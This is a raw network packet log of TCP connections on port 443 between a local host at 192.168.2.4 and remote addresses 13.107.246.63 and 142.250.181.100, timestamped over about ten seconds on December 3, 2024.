Dec 3, 2024 17:54:58.391206980 CET	49811	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.391226053 CET	443	49811	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.391237020 CET	49811	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.391242981 CET	443	49811	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.394591093 CET	49815	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.394623995 CET	443	49815	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.394714117 CET	49815	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.394934893 CET	49815	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.394948006 CET	443	49815	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.425765991 CET	443	49810	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.425820112 CET	443	49810	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.425890923 CET	49810	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.426006079 CET	49810	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.426022053 CET	443	49810	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.426033020 CET	49810	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.426038027 CET	443	49810	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.428112984 CET	49816	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.428152084 CET	443	49816	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.428239107 CET	49816	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.428349972 CET	49816	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.428364038 CET	443	49816	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.523165941 CET	443	49812	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.523240089 CET	443	49812	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.523303032 CET	49812	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.523531914 CET	49812	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.523550034 CET	443	49812	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.523561954 CET	49812	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.523566961 CET	443	49812	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.526526928 CET	49817	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.526559114 CET	443	49817	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.526659012 CET	49817	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.526854992 CET	49817	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.526870012 CET	443	49817	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.543927908 CET	443	49814	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.544775963 CET	49814	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.544794083 CET	443	49814	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.546122074 CET	49814	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.546128035 CET	443	49814	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.627285957 CET	443	49813	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.627368927 CET	443	49813	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.627541065 CET	49813	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.628020048 CET	49813	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.628041029 CET	443	49813	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.628056049 CET	49813	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.628062010 CET	443	49813	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.633383989 CET	49818	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.633418083 CET	443	49818	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.633497000 CET	49818	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.633683920 CET	49818	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.633697987 CET	443	49818	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.980937004 CET	443	49814	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.981014967 CET	443	49814	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.981139898 CET	49814	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.981334925 CET	49814	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.981347084 CET	443	49814	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.981368065 CET	49814	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.981373072 CET	443	49814	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.984709978 CET	49819	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.984746933 CET	443	49819	13.107.246.63	192.168.2.4
Dec 3, 2024 17:54:58.984846115 CET	49819	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.985050917 CET	49819	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:54:58.985064030 CET	443	49819	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.144716978 CET	443	49816	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.163274050 CET	49816	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.163310051 CET	443	49816	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.163826942 CET	49816	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.163832903 CET	443	49816	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.175987959 CET	443	49815	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.176415920 CET	49815	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.176445007 CET	443	49815	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.176971912 CET	49815	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.176976919 CET	443	49815	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.310725927 CET	443	49817	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.311127901 CET	49817	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.311151028 CET	443	49817	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.311505079 CET	49817	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.311510086 CET	443	49817	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.488756895 CET	443	49818	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.489250898 CET	49818	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.489276886 CET	443	49818	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.489643097 CET	49818	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.489651918 CET	443	49818	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.587380886 CET	443	49816	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.587430954 CET	443	49816	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.587538958 CET	49816	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.587815046 CET	49816	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.587831020 CET	443	49816	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.587846994 CET	49816	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.587853909 CET	443	49816	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.591576099 CET	49820	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.591612101 CET	443	49820	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.591684103 CET	49820	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.591900110 CET	49820	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.591911077 CET	443	49820	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.621289015 CET	443	49815	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.621360064 CET	443	49815	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.621475935 CET	49815	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.621726990 CET	49815	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.621738911 CET	443	49815	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.621778011 CET	49815	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.621784925 CET	443	49815	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.624450922 CET	49821	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.624505043 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.624804974 CET	49821	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.624804974 CET	49821	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.624845028 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.755115032 CET	443	49817	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.755250931 CET	443	49817	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.755335093 CET	49817	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.755466938 CET	49817	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.755475998 CET	443	49817	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.755489111 CET	49817	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.755492926 CET	443	49817	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.758050919 CET	49822	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.758078098 CET	443	49822	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.758352995 CET	49822	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.758352995 CET	49822	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.758378029 CET	443	49822	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.797291994 CET	443	49819	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.797770977 CET	49819	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.797785997 CET	443	49819	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.798161030 CET	49819	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.798166037 CET	443	49819	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.943521976 CET	443	49818	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.943588972 CET	443	49818	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.943757057 CET	49818	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.944056988 CET	49818	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.944075108 CET	443	49818	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.944087029 CET	49818	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.944092035 CET	443	49818	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.947606087 CET	49823	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.947635889 CET	443	49823	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:00.947729111 CET	49823	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.947976112 CET	49823	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:00.947988987 CET	443	49823	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:01.245472908 CET	443	49819	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:01.245527029 CET	443	49819	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:01.245583057 CET	49819	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:01.245893955 CET	49819	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:01.245904922 CET	443	49819	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:01.245915890 CET	49819	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:01.245920897 CET	443	49819	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:01.249315977 CET	49824	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:01.249351025 CET	443	49824	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:01.249429941 CET	49824	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:01.249567032 CET	49824	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:01.249581099 CET	443	49824	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.348773003 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.349729061 CET	49821	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.349761009 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.350358009 CET	49821	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.350363016 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.395910025 CET	443	49820	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.396615982 CET	49820	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.396631002 CET	443	49820	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.397345066 CET	49820	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.397351027 CET	443	49820	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.567713022 CET	443	49822	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.568305969 CET	49822	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.568329096 CET	443	49822	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.568758011 CET	49822	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.568763971 CET	443	49822	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.740255117 CET	443	49823	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.740931034 CET	49823	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.740962029 CET	443	49823	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.741879940 CET	49823	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.741884947 CET	443	49823	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.786588907 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.786669016 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.786731005 CET	49821	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.786986113 CET	49821	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.787002087 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.787010908 CET	49821	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.787015915 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.790575981 CET	49825	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.790615082 CET	443	49825	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.790699005 CET	49825	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.790884972 CET	49825	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.790898085 CET	443	49825	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.854707003 CET	443	49820	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.854772091 CET	443	49820	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.854835987 CET	49820	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.855029106 CET	49820	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.855041027 CET	443	49820	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.855057001 CET	49820	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.855061054 CET	443	49820	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.857795954 CET	49826	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.857831955 CET	443	49826	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.857930899 CET	49826	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.858115911 CET	49826	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.858125925 CET	443	49826	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.997087002 CET	443	49824	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.997631073 CET	49824	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.997649908 CET	443	49824	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:02.998470068 CET	49824	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:02.998472929 CET	443	49824	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:03.038734913 CET	443	49822	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:03.038789034 CET	443	49822	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:03.038839102 CET	49822	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:03.039390087 CET	49822	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:03.039407969 CET	443	49822	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:03.039448977 CET	49822	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:03.039453983 CET	443	49822	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:03.044770956 CET	49827	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:03.044810057 CET	443	49827	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:03.044893026 CET	49827	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:03.045098066 CET	49827	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:03.045110941 CET	443	49827	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:03.186754942 CET	443	49823	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:03.186815977 CET	443	49823	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:03.186906099 CET	49823	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:03.187155008 CET	49823	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:03.187174082 CET	443	49823	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:03.187196970 CET	49823	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:03.187206030 CET	443	49823	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:03.191658020 CET	49828	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:03.191695929 CET	443	49828	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:03.191786051 CET	49828	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:03.191965103 CET	49828	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:03.191978931 CET	443	49828	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:03.434277058 CET	443	49824	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:03.434330940 CET	443	49824	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:03.434397936 CET	49824	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:03.434700966 CET	49824	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:03.434731007 CET	443	49824	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:03.434748888 CET	49824	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:03.434753895 CET	443	49824	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:03.438335896 CET	49829	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:03.438374043 CET	443	49829	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:03.438478947 CET	49829	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:03.438731909 CET	49829	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:03.438745022 CET	443	49829	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:04.561172009 CET	443	49825	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:04.562165022 CET	49825	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:04.562194109 CET	443	49825	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:04.562681913 CET	49825	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:04.562689066 CET	443	49825	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:04.647917986 CET	443	49826	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:04.648983955 CET	49826	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:04.649010897 CET	443	49826	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:04.650361061 CET	49826	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:04.650365114 CET	443	49826	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:04.833547115 CET	443	49827	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:04.834876060 CET	49827	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:04.834899902 CET	443	49827	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:04.836409092 CET	49827	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:04.836414099 CET	443	49827	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:04.996984959 CET	443	49825	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:04.997052908 CET	443	49825	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:04.997190952 CET	49825	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:04.997698069 CET	49825	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:04.997719049 CET	443	49825	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:04.997742891 CET	49825	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:04.997747898 CET	443	49825	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.004776955 CET	49830	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.004820108 CET	443	49830	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.004957914 CET	49830	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.005448103 CET	49830	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.005462885 CET	443	49830	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.039442062 CET	443	49828	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.040339947 CET	49828	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.040357113 CET	443	49828	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.041713953 CET	49828	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.041718006 CET	443	49828	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.092334032 CET	443	49826	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.092401028 CET	443	49826	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.092540026 CET	49826	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.092968941 CET	49826	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.092988014 CET	443	49826	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.093014002 CET	49826	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.093019009 CET	443	49826	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.099337101 CET	49831	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.099376917 CET	443	49831	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.099525928 CET	49831	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.099896908 CET	49831	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.099909067 CET	443	49831	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.247211933 CET	443	49829	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.247749090 CET	49829	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.247782946 CET	443	49829	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.248172045 CET	49829	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.248177052 CET	443	49829	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.279481888 CET	443	49827	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.279548883 CET	443	49827	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.279608011 CET	49827	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.279886007 CET	49827	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.279907942 CET	443	49827	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.279922962 CET	49827	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.279927969 CET	443	49827	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.284640074 CET	49832	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.284687042 CET	443	49832	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.284765005 CET	49832	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.285105944 CET	49832	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.285116911 CET	443	49832	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.493603945 CET	443	49828	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.493659973 CET	443	49828	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.493783951 CET	49828	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.494266033 CET	49828	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.494280100 CET	443	49828	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.494309902 CET	49828	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.494316101 CET	443	49828	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.498636007 CET	49833	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.498682022 CET	443	49833	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.498784065 CET	49833	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.499017000 CET	49833	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.499031067 CET	443	49833	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.695230961 CET	443	49829	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.695329905 CET	443	49829	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.695544004 CET	49829	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.695952892 CET	49829	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.695971012 CET	443	49829	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.695985079 CET	49829	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.695990086 CET	443	49829	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.699856043 CET	49834	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.699919939 CET	443	49834	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:05.700031996 CET	49834	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.700259924 CET	49834	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:05.700269938 CET	443	49834	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:06.155481100 CET	443	49809	142.250.181.100	192.168.2.4
Dec 3, 2024 17:55:06.155544043 CET	443	49809	142.250.181.100	192.168.2.4
Dec 3, 2024 17:55:06.155591965 CET	49809	443	192.168.2.4	142.250.181.100
Dec 3, 2024 17:55:06.804296017 CET	443	49830	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:06.805244923 CET	49830	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:06.805277109 CET	443	49830	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:06.805711031 CET	49830	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:06.805716038 CET	443	49830	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:06.826849937 CET	443	49831	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:06.827172041 CET	49831	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:06.827198029 CET	443	49831	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:06.827466965 CET	49831	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:06.827471018 CET	443	49831	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.092510939 CET	443	49832	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.093272924 CET	49832	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.093295097 CET	443	49832	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.093779087 CET	49832	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.093784094 CET	443	49832	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.305874109 CET	443	49831	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.305941105 CET	443	49831	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:07.306013107 CET	49831	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.306181908 CET	49831	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:07.306202888 CET	443	49831	13.107.246.63	192.168.2.4
